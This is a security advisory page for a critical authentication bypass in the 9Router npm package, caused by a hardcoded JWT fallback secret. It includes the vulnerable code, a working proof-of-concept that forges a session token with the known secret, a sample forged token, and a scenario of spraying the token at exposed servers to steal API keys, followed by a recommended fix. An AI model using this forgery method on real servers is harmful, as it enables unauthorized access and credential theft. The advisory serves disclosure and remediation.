PT-2026-55456 · Npm · 9Router
Publicado
2026-07-02
·
Atualizado
2026-07-02
·
CVE-2026-49352
CVSS v3.1
9.8
Crítica
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
9router uses a publicly known hardcoded string
"9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth token cookie and gain full access to dashboard and api (If JWT SECRET is not set on server) . This vulnerable affected so many public 9router serverDetails
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 – v0.4.30 —
src/app/api/auth/login/route.js and src/middleware.js:js
const SECRET = new TextEncoder().encode(
process.env.JWT SECRET || "9router-default-secret-change-me"
);v0.4.31 – v0.4.41 (current) —
src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):js
const SECRET = new TextEncoder().encode(
process.env.JWT SECRET || "9router-default-secret-change-me"
);The fallback string was introduced in commit
23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.PoC
Step 1. Craft a JWT signed with the known default secret:
js
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6wStep 2. Set the forged token as the
auth token cookie. And access the http://<target>/dashboard - completely authentication bypassAttack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/(exploit CVE-2026-46339)
Recommended Fix
Require
JWT SECRET at startup and fail fast rather than falling back silently:js
const jwtSecret = process.env.JWT SECRET;
if (!jwtSecret) {
throw new Error(
"JWT SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.
Correção
Using Hardcoded Credentials
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
9Router